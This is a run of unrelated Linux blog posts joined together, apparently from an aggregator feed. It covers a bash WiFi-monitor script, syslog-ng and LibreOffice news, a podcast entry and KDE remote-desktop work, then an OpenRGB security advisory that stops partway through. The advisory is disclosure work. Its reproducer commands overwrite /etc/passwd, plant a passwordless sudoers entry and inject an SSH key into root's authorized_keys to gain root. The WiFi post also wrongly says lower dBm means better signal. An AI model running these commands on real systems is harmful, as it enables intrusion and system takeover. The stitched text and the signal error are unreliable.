Este script para sistemas GNU/Linux muestra una monitorización de la potencia de la señal WIFI en nuestra terminal

Hace unos días el compañero bloguero Jose, en el blog de Tecno Y Soft, compartió un alias para zsh para monitorizar la WiFi en GNU/Linux. Podéis ver el artículo en el siguiente enlace:

• https://tecnoysoft.com/2026/08/26/monitorizar-la-wi-fi-con-un-alias/

La idea me gustó y decidí probarlo. Pero después de encontrar varios inconvenientes a la hora de funcionar en mi equipo, decidí darle una vuelta al código y a la salida del comando mostrada.

Probándolo en mi equipo, el alias o comando presentaba varios problemas:

• En Tumbleweed el comando iw necesita ser ejecutado como root
• En su alias se ejecutaba en el dispositivo wlan0 lo que en mi caso no funcionaba, porque no se llama así
• El comando no funcionaba porque necesitaba unos ; para separar comandos. No sé si en zsh funciona sin eso
• La salida del comando no terminaba de convencerme. Queremos monitorizar la potencia de la señal WIFI y sin embargo se muestran otros datos de la salida del comando iw, que personalmente no me aportan mucho

Así que con estos mimbres quise darle una vuelta al alias y en vez de hacer que fuera un alias de una sola línea, hacerlo un script.

Así que con la ayuda de ChatGPT, hemos ido dado forma al script para solucionar todos esos escollos de la propuesta inicial.

• Detecta (o debiera hacerlo) si el comando iw necesita ser ejecutado como root o no y pide la contraseña en caso afirmativo.
• Toma el nombre de dispositivo de iw y así puede ser ejecutado en equipos que se llame wlan0 o `wlp2s´ o como sea…
• La barra muestra colores en función del estado de la señal WiFi y un texto

Cabe destacar que cuanto menor el es valor de dBm, mejor es la calidad de la señal y viceversa.

Por tanto con eso, este sería el script, que mostraría en la terminal algo similar a la imagen que encabeza este artículo:

#!/usr/bin/env bash

INTERVAL=1

GREEN='\033[32m'
YELLOW='\033[33m'
ORANGE='\033[38;5;208m'
RED='\033[31m'
GRAY='\033[90m'
RESET='\033[0m'
HIDE_CURSOR='\033[?25l'
SHOW_CURSOR='\033[?25h'

run_iw() {
    if iw dev >/dev/null 2>&1; then
        iw "$@"
    else
        sudo iw "$@"
    fi
}

cleanup() {
    printf '%b' "$SHOW_CURSOR"
    printf '\n'
    exit 0
}

trap cleanup INT TERM EXIT

IFACE=$(run_iw dev 2>/dev/null | awk '$1=="Interface"{print $2; exit}')

if [[ -z "$IFACE" ]]; then
    echo "No se encontró ninguna interfaz Wi-Fi."
    exit 1
fi

clear
printf '%b' "$HIDE_CURSOR"

FIRST_RUN=true

while true; do

    DATA=$(run_iw dev "$IFACE" link 2>/dev/null)

    if ! grep -q "^Connected to" <<< "$DATA"; then
        OUTPUT=(
            "Wi-Fi: Sin conexión"
            "${GRAY}       ────────────────────${RESET}"
            ""
            "${GRAY}       Interfaz: $IFACE${RESET}"
            ""
            "${GRAY}       ────────────────────${RESET}"
            "${GRAY}       Ctrl+C para detener el script${RESET}"
        )
    else
        SSID=$(awk -F': ' '/SSID:/ {print $2; exit}' <<< "$DATA")
        DB=$(awk '/signal:/ {print $2; exit}' <<< "$DATA")
        FREQ=$(awk '/freq:/ {print $2; exit}' <<< "$DATA")
        RX=$(awk '/rx bitrate:/ {print $3; exit}' <<< "$DATA")
        TX=$(awk '/tx bitrate:/ {print $3; exit}' <<< "$DATA")

        if (( DB >= -60 )); then
            COLOR="$GREEN"
            QUALITY="Excelente"
        elif (( DB >= -67 )); then
            COLOR="$GREEN"
            QUALITY="Buena"
        elif (( DB >= -75 )); then
            COLOR="$YELLOW"
            QUALITY="Aceptable"
        elif (( DB >= -85 )); then
            COLOR="$ORANGE"
            QUALITY="Débil"
        else
            COLOR="$RED"
            QUALITY="Muy débil"
        fi

        FILLED=$(( (DB + 90) * 20 / 50 ))

        (( FILLED > 20 )) && FILLED=20
        (( FILLED < 0 )) && FILLED=0

        BAR=""

        for ((i=0; i<FILLED; i++)); do
            BAR+="█"
        done

        for ((i=FILLED; i<20; i++)); do
            BAR+="░"
        done

        OUTPUT=(
        "Wi-Fi: $SSID"
        "       ────────────────────"
        "       ${COLOR}${BAR}${RESET}"
        "       Señal: ${DB} dBm · ${QUALITY}"
        "       Frecuencia: ${FREQ} MHz"
        "       RX: ${RX} Mbit/s"
        "       TX: ${TX} Mbit/s"
        "       ────────────────────"
        "${GRAY}       Ctrl+C para detener el script${RESET}"
    )

    fi

    if [[ "$FIRST_RUN" == true ]]; then
        printf '%b\n' "${OUTPUT[@]}"
        FIRST_RUN=false
    else
        printf '\033[H'

        for line in "${OUTPUT[@]}"; do
            printf '\033[2K%b\n' "$line"
        done
    fi

    sleep "$INTERVAL"

done

Copia el código en un tu equipo en un archivo que puedes llamar por ejemplo wifi-monitor y dale permisos de ejecución con el consabido comando chmod +x wifi-monitor y lo puedes ejecutar mediante ./wifi-monitor y ver el resultado.

Lo puedes meter en alguno de los directorios de tu $PATH y lo podrás ejecutar desde cualquier ubicación en tu terminal.

Gracias a Jose y su blog Tecno y Soft por la idea inicial de su alias para sus pruebas personales por inspirar esta pequeña herramienta.

Si lo pruebas, me gustará saber si te funcionó y si te resulta interesante…

Most of August, I was on vacation, but now I’m back and I try catching up on the events of the past weeks, just like my colleagues do. Currently, we are fixing issues and reviewing contributions, but we also discussed scaling back our efforts on Java support.

While most of the team was away on vacation, the number of syslog-ng contributions suddenly grew. We support both autotools and cmake, and while differences are narrowing, there are still some minor problems to fix. There are pull requests related to cmake, the syslog-ng disk buffer and more. Check https://github.com/syslog-ng/syslog-ng/pulls?q=is%3Apr+ for a full list of pull requests we are working on.

We also received some new issues. One of them was related to a memory leak when syslog-ng is reloaded. While we fixed several problems, Java was not among them. In fact, we rather disabled packaging Java destination support.

To explain this decision: Java support was introduced back when several destinations had no native C drivers and were only implemented in Java. However, Elasticsearch works fine using a wrapper around the http() destination. Kafka now also has a native C driver. And as for HDFS: well, it is dead, and its code will be removed from syslog-ng soon. A few months ago, I also wrote about disabling Java support in my packages. Now the same is happening with Debian / Ubuntu / RHEL packages available from https://www.syslog-ng.com/community/b/blog/posts/syslog-ng-java-destination-disabled At the same time, we also decided not to work on a Java-related memory leak problem, unless we are notified that someone is actually using the Java destination with a self-developed driver. We were aware of such projects 3-4 years ago, but not anymore.

But are there any benefits of not packaging Java, you might ask? Well, in the Debian / Ubuntu world, many users install the syslog-ng package, which is an umbrella package installing all syslog-ng sub-modules and their dependencies. But even without an umbrella package, I have seen similar solutions from RPM users. Removing the unused Java package from the mix reduces both RAM and HDD usage, which benefits everyone.

Originally published at https://www.syslog-ng.com/community/b/blog/posts/syslog-ng-end-of-august-news-and-about-scaling-back-java-support

Hoy me alegra compartir con vosotros que ha sido lanzado LibreOffice 26.8, una versión que llega cargada de novedades entre las que destacan que ahora incorpora tipografía profesional, ha ganado una mayor compatibilidad con idiomas y, quizás lo más importante, no incorpora ninguna inteligencia artificial, una garantía que no necesitas un ordenador de última generación para escribir una carta.

Lanzado LibreOffice 26.8, ahora con tipografía profesional

El pasado 26 de agosto de 2026, The Document Foundation ha anunciado que ha liberado LibreOffice 26.8, la nueva versión principal de la suite ofimática libre y de código abierto, disponible de inmediato para Windows, macOS y Linux en más de 120 idiomas. Esta versión es fruto del trabajo de 206 colaboradores, de los cuales 155 son voluntarios.

Según se lee en su nota de prensa:

El mayor esfuerzo de desarrollo de LibreOffice 26.8 ha sido dedicado a los sistemas de escritura del mundo. Writer ahora detecta automáticamente la dirección de los párrafos, ajusta correctamente las líneas bidireccionales y maneja el cambio de tamaño de los objetos en documentos CJK (chino, japonés y coreano) escritos de derecha a izquierda y en vertical. Calc establece automáticamente la dirección de las celdas cuando se ingresa texto de derecha a izquierda. Math ha incorporado operadores para los alfabetos N’Ko y Adlam, utilizados en las lenguas mandingas de África Occidental y en el fulani.

Además, otras novedades destacadas son:

• Writer incorpora el Compositor de párrafos (Paragraph Composer), un algoritmo de maquetación que distribuye el espaciado entre palabras en todo un párrafo en lugar de optimizar cada línea de manera independiente. Esto elimina la alternancia entre líneas demasiado compactas y líneas con mucho espacio que ha caracterizado al texto justificado en los procesadores de texto desde la aparición de esta tecnología.
• Se ha incorporado de forma nativa las variaciones de fuentes OpenType.
• LibreOffice Chart conserva los tipos de gráficos más recientes que Microsoft Office escribe en archivos OOXML -caja y bigotes, embudo, Pareto, rayos de sol, mapa de árbol y cascada- a lo largo de todo el proceso de importación y exportación, aunque todavía no puede representarlos ni editarlos.
• Calc agrega campos calculados a las tablas dinámicas y mejora el manejo de archivos XLSX.

Para ver los cambios completos os recomiendo consultar la página de las notas del lanzamiento.

LibreOffice 26.8 libre de IA

Hay que destacar que LibreOffice no contiene funciones de IA generativa ni ningún elemento intrusivo a la privacidad del usuario.

De esta forma, los documentos nunca se transmiten a servicios remotos, y ningún componente requiere acceso a la red para funcionar.

Además, la suite no incluye publicidad, telemetría, suscripción ni requiere una cuenta. A partir de esta versión, muestra un banner de donaciones en el Centro de inicio, que enlaza con la página de donaciones y no aparece en ningún otro lugar del software: LibreOffice es de uso gratuito, pero su mantenimiento no lo es.

p

La entrada Lanzado LibreOffice 26.8, ahora con tipografía profesional se publicó primero en KDE Blog.

Aunque el proyecto Podcast Linux está parado esto no significa que no tenga cabida en el blog y, mientras pueda, seguiré promocionándolo con la esperanza de que reviva, como cierto pájaro mitológico. Y he pensado hacerlo de una forma sencilla para mi y creo que beneficiosa para todos, creando poco a poco un índice de todas sus emisiones, de forma que podamos encontrar en este blog una alternativa a su magnífica obra. Así que bienvenidos al trigesimoquinto audio de Podcast Linux – «Formatos Libres» donde Juan realiza nos explica la importancia que tiene que los formatos de los archivos sean libres y de estándar internacional.

Trigesimoquintoaudio de Podcast Linux – «Formatos Libres» (Podcast Linux #35)

Como los lectores del blog sabrán hace un tiempo Podcast Linux cerró sus emisiones por motivos que solo incumben a su creador. Desde el blog no quiero dejar que su recuerdo se desvanezca así que seguiré publicitando sus audios ya que su calidad no debe caer en el olvido.

Hace un tiempo decidí empezar por el principio, mostrando su primer audio, el cual no promocioné en su día y poco a poco hemos pasado ya los 30 episodios repasados.

De esta forma continuo con un nuevo audio de esta serie presentado en el blog, que en palabras de Juan:

Muy buenas Linuxero. Bienvenido a otro programa de Podcast Linux.
Mi nombre es Juan Febles y cada 15 días comparto, un nuevo tema o entrevista, del sistema operativo de escritorio que más nos gusta: GNU/Linux.
En el Núcleo Kernel nos adentraremos en los formatos de archivos, contenedores, códecs y la importancia que sean libres y de estándar internacional.
En el Gestor de Paquetes te hablaré de Inkscape, una aplicación de diseño gráfico vectorial libre.
https://inkscape.org/es/
En Comunidad Linux compartiremos nuestra pasión por el ñu y el pingüino con Lorenzo Carbonell, más conocido como Atareao.
https://www.atareao.es/
Por último, en Área de Notificaciones, le daré un repaso a algunos de los mensajes recibidos en los últimos episodios.

Más información: Podcast Linux

Sigue a Podcast Linux

Aprovecho para animaros a seguir Podcast Linux en algunos de los canales de comunicación que tiene:

• Twitter: https://twitter.com/podcastlinux
• Mastodon: https://mastodon.social/@podcastlinux/
• Correo: podcastlinux@disroot.org
• Web: https://podcastlinux.com/
• Telegram: https://t.me/podcastlinux
• Telegram Juan Febles: https://t.me/juanfebles
• Youtube: https://www.youtube.com/PodcastLinux
• Feed Podcast Linux: https://podcastlinux.com/feed
• Feed Linux Express (Audios Telegram): https://podcastlinux.com/Linux-Express/feed

La entrada Trigesimoquintoaudio de Podcast Linux – «Formatos Libres» (Podcast Linux #35) se publicó primero en KDE Blog.

El desarrollo de KDE sigue viento en popa, y se nota cuando se está metiendo mano a aspectos como la transparencia utilizando carpetas en redes compartidas o la noticia que os traigo hoy. Me complace compartir con vosotros como así mejora KDE el escritorio remoto en Wayland optimizando el modo desatendido, consiguiendo menor latencia y obteniendo más compatibilidad entre dispositivos.

Así mejora KDE el escritorio remoto en Wayland: modo desatendido, menor latencia y más compatibilidad

El artículo de David Edmundson detalla las mejoras realizadas en el escritorio remoto de KDE (RDP y VNC bajo Wayland) de cara a la versión Plasma 6.8, con contribuciones de un equipo de desarrolladores enfocado en resolver uno de los puntos débiles de la transición desde X11.

Para ponernos en contexto, el escritorio remoto ha sido uno de los puntos débiles en la transición de KDE Plasma a Wayland. Aunque ya existe una solución nativa de RDP y VNC para Wayland, el equipo de desarrollo de KDE reconoce que aún no ha alcanzado el nivel deseado. De cara a Plasma 6.8, el escritorio remoto se ha convertido en un á́rea prioritaria, con contribuciones de varios desarrolladores, entre ellos David Edmundson, Shouvik Kar, Nick Haghiri, Oliver Beard y Wensheng Tang.

Mejorando el modo desatendido

Una de las novedades más destacadas es la mejora del modo desatendido (unattended mode), pensado para usuarios que acceden a su propio equipo de forma remota. En el modo tradicional de «soporte », cliente y host ven exactamente la misma imagen, adaptada a los monitores del host, lo cual es útil cuando hay alguien físicamente en el equipo y otra persona se conecta para trabajar juntos.

Sin embargo, este modelo resulta incómodo cuando solo hay un usuario: por ejemplo, si se conecta desde un portátil pequeño a un PC con monitores grandes, tiene que estar scrollando constantemente, y además cualquiera que esté cerca del host puede ver cómo el cursor se mueve y hace clics sin que haya nadie delante.

Para solucionar este inconveniente del modo desatendido se ha pensado una nueva forma de proceder:

• Al conectarse en modo desatendido, la máquina remota muestra primero la pantalla de inicio de sesión.
• Una vez que el usuario inicia sesión, las pantallas del host se «eliminan » de la configuración activa, lo que garantiza privacidad y seguridad: nadie en la oficina verá qué se está haciendo remotamente.
• Las pantallas remotas se redimensionan para coincidir con el tamaño y la disposición de las pantallas del cliente; si se usa una ventana para la sesión remota, esta se ajusta dinámicamente al tamaño de la ventana.
• Además, cuando el usuario cierra la sesión remota y vuelve a iniciar sesión físicamente en el host, todas sus ventanas recuperan automáticamente la posición que tenían antes en la configuración original del host.

Este trabajo también prepara el terreno para soportar en el futuro configuraciones completamente headless, sin ningún monitor físico conectado.

Mejorando el portapapeles y el rendimiento

Otra mejora importante es la del portapapeles, que ahora soporta texto bidireccional de forma robusta: se puede copiar y pegar en ambos sentidos entre cliente y host. Además, está en desarrollo el soporte para transferir archivos mediante el portapapeles, incluyendo integración en el cliente KRDC.

En cuanto al rendimiento, se ha reducido la latencia en todo el sistema. Se ha introducido un mecanismo de temporización que rastrea cada fotograma a lo largo de todo el proceso: desde la recepción del frame crudo y su codificación, pasando por la transmisión por red, hasta el renderizado en el cliente y la recepción del acuse de recibo. Esto permite identificar dónde se acumulan los retrasos, y de esta forma se agrupan los fotogramas que aún están pendientes de envío y un nuevo algoritmo determina cuántos frames se mantienen «en vuelo » para optimizar fluidez y latencia.

También se ha mejorado la gestión para mantener baja la latencia durante caídas de red, y el sistema está realizando alguna tarea para enviar múltiples flujos o incluso áreas del mismo escritorio simultáneamente. KRDC se beneficiará de estas mejoras de rendimiento en su versión 26.12.

Mejoras en la compatibilidad y migración a libei

La compatibilidad con clientes existentes ha mejorado notablemente. Ahora se soporta la codificación RemoteFX Progressive y la codificación H.264 completamente acelerada por hardware, con un mecanismo de reserva mejorado para cuando H.264 falla. También se ha corregido la autenticación NLA para clientes Windows, lo que facilita el uso con equipos Windows que exigen este tipo de autenticación.

Un cambio estructural clave es la migración a libei, una biblioteca y protocolo para enviar entrada emulada al compositor. Libei es mucho más completo que el enfoque básico de «mover ratón » y «enviar keysym » del XDG Portal: permite soportar cualquier número de dispositivos simultáneamente y proporciona la infraestructura para manejar también tabletas gráficas y pantallas táctiles de forma remota. Además, se ha mejorado drásticamente el soporte para enviar teclas que no están en el mapa de teclado actual del host, permitiendo introducir caracteres especiales (como ẞ) e incluso cadenas UTF-8 completas (como «안녕 ») desde el cliente remoto.

De cara al futuro, Edmundson confía en que Plasma 6.8 ofrecerá una buena experiencia para un único usuario, incluso en configuraciones headless, pero considera poco probable que se soporte múltiples usuarios concurrentes en esta versión, dada la complejidad y el hecho de que el feature freeze ya está en marcha. También se menciona la necesidad de estandarizar la infraestructura subyacente para que otros servicios de escritorio remoto puedan beneficiarse de este trabajo. Finalmente, se hace un llamamiento a la comunidad para que pruebe las compilaciones de master y reporte errores o contribuya con parches, ya que esto sigue siendo una ruta crítica para quienes aún dependen de X11.

La entrada Así mejora KDE el escritorio remoto en Wayland: modo desatendido, menor latencia y más compatibilidad se publicó primero en KDE Blog.

Table of Contents

• 1) Introduction
• 2) Overview of OpenRGB
• 3) Overview of the Network Protocol
• 4) Reproducer Script
• 5) Security Issues
  • 5.1) Arbitrary File Overwrite via SAVE_PROFILE Message (CVE-2026-59682)
  • 5.2) Remote and Local Root Exploits via UPDATEMODE and SAVE_PROFILE Messages (CVE-2026-59683)
  • 5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)
• 6) Other Concerns
  • 6.1) Server Attempts to Act as a Client
  • 6.2) Lack of Network Byte Order Handling
  • 6.3) Plugin Support Further Expands Attack Surface
  • 6.4) Vast Range of LED Controllers Expands Attack Surface
• 7) Further Suggestions
  • 7.1) systemd Service Hardening
  • 7.2) Dropping Privileges
  • 7.3) Mutual Authentication
  • 7.4) Applying Safe Defaults
• 8) Affected OpenRGB Versions
• 9) Affected Systems
  • 9.1) Linux Distributions
  • 9.2) BSD Distributions
  • 9.3) Other Systems
• 10) CVE Assignments
• 11) Upstream Bugfixes
• 12) Timeline
• 13) References

1) Introduction

OpenRGB is a cross-platform software suite for controlling RGB LED lighting devices on Linux, MacOS and Windows. It caught our attention due to a new systemd service which appeared in the openSUSE Tumbleweed OpenRGB package, containing the following configuration:

[Service]
ExecStart=/usr/bin/openrgb --server --config /etc/openrgb
Restart=always
RuntimeDirectory=openrgb
WorkingDirectory=/run/openrgb

The daemon runs with full root privileges. A quick investigation showed that it also implements a TCP networking protocol listening on wildcard IP address “0.0.0.0” port 6742 by default. Due to these high-risk properties we scheduled a detailed security review of the service. During the review we found various security issues in the protocol which can even lead to a full remote system compromise (issue 5.2). Upstream release 1.0rc3-hotfix addresses the worst aspects of the flaws discussed in this report.

The next sections provide an overview of the technical details in OpenRGB and its network protocol. Section 4) points out a reproducer script we offer. Section 5) describes the security issues in detail. Section 6) discusses further security concerns we found in the codebase of OpenRGB. In section 7) we provide additional hardening recommendations for the project. Section 8) looks into the affected OpenRGB releases while section 9) gives an overview of affected Linux and BSD distributions. In section 10) CVE assignments for the issues in this report are discussed. Finally section 11) covers the bugfixes provided by upstream to address the issues in this report.

This report is based on upstream release tag release_candidate_1.0rc3.

2) Overview of OpenRGB

OpenRGB is implemented in C++ and consists of about 350,000 lines of code. It ships a single executable openrgb which implements three different personalities:

• a graphical UI application implemented in Qt which allows to control and inspect various aspects of OpenRGB.
• a client personality which is used to query state from or modify an already running server instance of openrgb.
• a server personality which implements a custom network protocol listening on wildcard IP “0.0.0.0” port 6742 by default. Only default-enabled firewalls prevent attack surface exposed by the service from becoming immediately accessible to remote attackers. Local users can always connect to the daemon via localhost. In server mode the daemon collects information about LED devices and stores their state in memory. The network protocol allows to retrieve information about the current devices and daemon state as well as to modify certain aspects of the daemon configuration.

3) Overview of the Network Protocol

Each OpenRGB network message starts with a NetPacketHeader of 16 bytes size. This header most prominently defines the operation to be carried out (pkt_id) and the length of the payload following the header (pkt_size). The available network messages are declared via NET_PACKET_ID enum constants. The server-side parsing logic is located in NetworkServer::ListenThreadFunction().

Different versions of the protocol have evolved over time. The protocol version in use can be reported by the client via the NET_PACKET_ID_REQUEST_PROTOCOL_VERSION message, but is inconsistently also sometimes embedded into the payload data of specific message types. When the version is not reported by a client then it is treated as 0 on the server-side; the current protocol version is 5. The structure of the message payload is highly context-dependent; exact sequences of integer/string values conforming to the message type and protocol version in effect must be used.

There exists no well-defined protocol data type specification; the common pattern seems to be that most of the time 4-byte signed/unsigned integers, 2-byte unsigned short integers and strings are utilized. In some message types where only a single string is found in the payload, the string length is identified by the payload length in the header. Otherwise strings start with a 2-byte string length unsigned short integer.

There is no authentication or authorization existing on protocol level, which means that anybody reaching the daemon can perform all operations it offers. Generally there exists little verification of input data: there are no checks against overly large messages and resulting memory allocations, scarce checks for valid and sufficient input data, allowing memory corruption, and there is no validation of logical operations that are carried out e.g. on the file system as a result of client requests. Even where length information is available in the protocol and parsed by the server, it is sometimes discarded and raw network data is instead passed e.g. to std::string objects, assuming proper null termination of client-provided strings.

4) Reproducer Script

We offer a tarball for download containing a Python script, two symlinks pointing to it and a test configuration file. The script can act as an OpenRGB network client as well as a network server, and implements parts of the protocol for the purposes of reproducing the security issues discussed further below. We will point out specific reproducer command lines based on this script over the course of this report.

5) Security Issues

5.1) Arbitrary File Overwrite via SAVE_PROFILE Message (CVE-2026-59682)

The SAVE_PROFILE message causes the OpenRGB server to store its current profile data in a local file path. There is no verification of the path passed by the client, allowing it to point to arbitrary locations on the file system. When the daemon runs with full root privileges, as suggested by the OpenRGB systemd service unit, then arbitrary new files can be created or existing files can be overwritten. The profile save logic truncates the specified file if it exists, and writes the profile data into it.

This serves as a simple Denial-of-Service attack vector which allows to completely break the system. There is no precondition to reaching this outcome, it works even if the daemon is unconfigured and no LED devices exist in the system.

One apparent obstacle to this attack is that a filename extension is always added to the path passed by the client. Local attackers can easily bypass this by placing a symbolic link into the file system which contains the expected filename extension, which will be followed by the OpenRGB file handling code. Even remote attackers can overcome this limitation due to the way the string is parsed for this message type:

std::string profile_name;
profile_name.assign(data, header.pkt_size);

In most other message types in OpenRGB, string assignment is null-terminator based; in this case the raw input data is assigned to a std::string instead. This means the string can even contain null-terminators (the std::string object explicitly supports such use cases). The Linux kernel’s file system calls are always null-terminator oriented, however. When an attacker passes a filename like /etc/fstab\0\0\0suffix, the server will still append the filename extension to the string, but once it is passed to system calls, the kernel will only create the file /etc/fstab, stopping at the first null-terminator.

By applying this technique, both local and remote attackers can overwrite arbitrary files on the affected system. The attached reproducer script can be invoked as follows to reproduce the issue:

# this will overwrite /etc/passwd when OpenRGB is running on localhost
user$ ./rgb_fake_client.py --save-profile /etc/passwd

Note that openrgb actually intends to write the file into its “configuration directory”, which is looked up in ResourceManager::SetupConfigurationDirectory(). When the server is started via the systemd service unit, however, none of the environment variables inspected by the function are present. As a result the fallback configuration directory of "./" is used, which will simply be / in the context of the systemd service. Even if a proper configuration directory would be set, clients can easily bypass it by prefixing ../ directory components to reach the root of the file system.

Suggested Fix

All file-related messages like LOAD_PROFILE, SAVE_PROFILE and DELETE_PROFILE should be restricted to a fixed directory that is only controlled by the daemon itself. Path components like / and .. in the passed filename should be rejected. Similarly, non-printable characters (like terminal control sequences) should not be accepted. Even with these precautions there should be some mechanism to avoid creation of an unlimited amount of saved profiles, which could lead to disk space exhaustion.

5.2) Remote and Local Root Exploits via UPDATEMODE and SAVE_PROFILE Messages (CVE-2026-59683)

The UPDATEMODE message allows to alter the configuration of any registered LED controller in OpenRGB. This message is rather complex, consisting of multiple dynamically-sized arrays and also containing a variable-length string used as a “mode description” label. This attacker-controlled string combined with the SAVE_PROFILE attack vector described in section 5.1) paves the way for full local and even remote root exploits. Other message types that contain attacker-controlled strings might be usable for this attack as well, we arbitrarily chose this message type to demonstrate the attack.

The only precondition to this attack is that OpenRGB must have detected at least one LED controller to operate on. An empty configuration in OpenRGB will not expose any code paths that allow to store an attacker-controlled string in the profile written out by SAVE_PROFILE. We also found no way to trigger the registration of fake or emulated LED devices via the networking protocol. If OpenRGB is already running on a system then the typical situation will be that an actual LED controller is registered, however, meaning that the attack is relevant for most practical scenarios.

For reproducing this attack it is useful to configure a debug LED controller in OpenRGB, avoiding the need to have any real LED hardware present on the test system. The reproducer tarball contains the configuration file emul.json which can be used as OpenRGB.json by the OpenRGB service. This configuration will expose a test LED device which is sufficient to trigger the exploit.

The attacker-controlled string stored in the OpenRGB profile as “mode description” will be written out to the file passed to the SAVE_PROFILE message. The attacker does not control the full content of the output file, which will be a binary file containing various other data serialized by the OpenRGB daemon. The string can be of arbitrary length, however, and can contain any characters except for null bytes. This allows the attacker to inject a range of valid text lines which will be interpreted by programs that otherwise ignore syntax errors found while parsing the file.

One privileged program which fulfills the criteria is sudo when parsing sudoers files; this can be instrumented to turn the vulnerability into a local root exploit. The following example demonstrates this based on the provided reproducer script:

# construct a line which will grant us root privileges via `sudo` without
# entering a password
user$ SUDOERS_LINE=$(echo -e "\n\n$USER ALL=(ALL) NOPASSWD: ALL\n\n")

# this will store the line in the testing device's mode description
user$ ./rgb_fake_client.py --update-mode-name "0:0:$SUDOERS_LINE"
> Connected to ('localhost', 6742)
> Sent update for mode name, len = 97

# verify the intended line is actually part of the controller profile by now
user$ ./rgb_fake_client.py --req-controller-data 0 | grep NOPASSWD
> 'name': '\n\nuser ALL=(ALL) NOPASSWD: ALL',

# now ask the daemon to store the profile data in a /etc/sudoers.d drop-in
# configuration file
user$ ./rgb_fake_client.py --save-profile /etc/sudoers.d/letmein
> Connected to ('localhost', 6742)
> Saved profile to /etc/sudoers.d/letmein

# by now we should be able to gain root
user$ sudo su -
> /etc/sudoers.d/letmein:1:16: syntax error
> OPENRGB_PROFILE
> <snip>
localhost:~ #

To turn this vulnerability into a remote root exploit, the only requirement is that sshd is running and accessible on the target host. What we will do is inject our own SSH public key into the victim’s /root/.ssh/authorized_keys:

# create a new SSH keypair using an empty passphrase
user$ ssh-keygen
> Generating public/private ed25519 key pair.
> Enter file in which to save the key (/home/user/.ssh/id_ed25519):
> Enter passphrase for "/home/user/.ssh/id_ed25519" (empty for no passphrase):
> Enter same passphrase again:
> Your identification has been saved in /home/user/.ssh/id_ed25519
> Your public key has been saved in /home/user/.ssh/id_ed25519.pub
> The key fingerprint is:
> SHA256:r3SONks2o9FkN10IKW4sz3yYBdptLVOVeuzZOsVwnIw user@attack-host

# embed the new SSH public key in a shell variable surrounded by newlines
user$ PUBKEY_LINE=$(cat .ssh/id_ed25519.pub)
user$ PUBKEY_LINE=$(echo -e "\n\n$PUBKEY_LINE\n\n")

# the remote host running OpenRGB to attack
user$ ORGB_HOST="victim-host"

# store the public key as "mode description" in the victim's OpenRGB daemon
user$ ./rgb_fake_client.py --host $ORGB_HOST --update-mode-name "0:0:$PUBKEY_LINE"
> Connected to ('192.168.178.28', 6742)
> Sent update for mode name, len = 156

# verify the public key is now contained in the profile
user$ ./rgb_fake_client.py --host $ORGB_HOST --req-controller-data 0 | grep ssh-
>         'ssh-ed25519 '

# now write out the "profile" into the desired location via `SAVE_PROFILE`
user$ ./rgb_fake_client.py --host $ORGB_HOST --save-profile /root/.ssh/authorized_keys
> Connected to ('192.168.178.28', 6742)
> Saved profile to /root/.ssh/authorized_keys

# by now we should be able to login as root via SSH
user$ ssh root@$ORGB_HOST
> Last login: Thu Jul 30 11:35:08 CEST 2026 from 192.168.178.56 on ssh
> Have a lot of fun...
localhost:~ #

Even without sshd running there exist other possibilities to gain full remote code execution, such as by overwriting scripts in privileged locations; the only downside to this approach is that the effect of the attack will usually not be immediate, but will only take place once a privileged program executes the crafted script.

Suggested Fix

The most important part to fixing this potential remote root exploit is fixing security issue 5.1). Once arbitrary files cannot be overwritten any longer, the attack will be thwarted. Furthermore, any string data supplied by clients needs to be restricted in length and content. There should be no newlines, control characters or other special characters in the string data.

5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)

There are various ways to achieve Denial-of-Service against the openrgb daemon and the system it is running on:

• The packet header allows to send a payload of up to 4 gigabytes in length. The daemon’s code will happily allocate on the heap any payload announced by the client; the client doesn’t even need to send the actual payload. The daemon also supports up to 32 parallel client connections which will be handled in dedicated threads. This means a malicious client can trigger up to 128 gigabyte of memory allocation in openrgb, leading to memory exhaustion which might also affect other programs on the system. This can be reproduced by calling rgb_fake_client.py --send-large-messages.
• The data sent by clients is only partially validated for integrity. For example, strings that are not null-terminated can lead to a crash in openrgb, when the data is passed to a std::string object. Similarly, overly large array size entries or truncated data structures can lead to memory access violations in the daemon. Most of this concerns invalid read accesses, but there also linger some invalid write access issues with the potential for stack/heap corruption, opening up further, more complicated attack vectors for privilege escalation.
• The LOAD_PROFILE message (analogous to issue 5.1) allows to point the daemon to arbitrary file system locations for parsing new profile data from. This can also lead to memory exhaustion or to blocking the thread forever (e.g. by pointing it to a named FIFO pipe or parsing of corrupted data which can again trigger the memory management issues described above).
• The DELETE_PROFILE message allows to delete arbitrary files in the system based on the same approach as pointed out in issue 5.1) for SAVE_PROFILE. This can be reproduced via rgb_fake_client.py --delete-profile /path.
• We observed the daemon crashing sometimes because it was sent SIGPIPE by the kernel when attempting to write to a client socket that is no longer connected. The error is not easy to reproduce, but the daemon should ignore SIGPIPE in any case to prevent such crashes.

Many of these issues also affect the client-side logic of openrgb. Since there is no authentication in the protocol, there is no telling whether the peer is a trustworthy OpenRGB instance, and unexpected replies can crash the client as well.

Suggested Fixes

These issues are hard to fix since they are spread all over the network processing logic. OpenRGB needs to enforce sensible size limits for messages and must carefully scrutinize all input on client and server side to avoid any memory corruption and invalid memory accesses.

6) Other Concerns

6.1) Server Attempts to Act as a Client

When the openrgb --server instance is started, for some reason it first attempts to automatically connect to another server, acting as a client. The tryAutoConnect setting for this is found in the ResourceManager class and is set to true by default. As a result the ResourceManager::InitCoRoutine() calls AttemptLocalConnection(). This causes the daemon to attempt a connection to localhost port 6742, the very same port the server is supposed to bind and listen to.

Unprivileged local users are allowed to bind to port 6742, which can cause the OpenRGB server to talk to possibly malicious instances of OpenRGB. The daemon performs a longer message exchange acting as a client, requesting information about known devices from the supposed server. Due to this, the various attack vectors present in the networking protocol as outlined in section 5.3) are exposed to local unprivileged clients as well.

If the daemon manages to successfully obtain information from the “other server” then startup won’t continue normally, because the server now attempts to keep the client connection alive while binding to wildcard IP “0.0.0.0” port 6742 at the same time. The latter will fail, naturally, if another process is already listening on this port on localhost. Otherwise this would have been an interesting attack vector to inject arbitrary LED controller information into the OpenRGB daemon even with no real LED controller hardware being available and without having control over the OpenRGB.json configuration file.

We are not sure what the intended purpose of this “auto connect” logic is in the context of openrgb --server. When using the default configuration values this does not seem to make sense, and only adds additional complexity and attack surface. If this auto connect feature would reach an actual remote server, then this would grant unverified third parties control over the configuration of OpenRGB running in server mode.

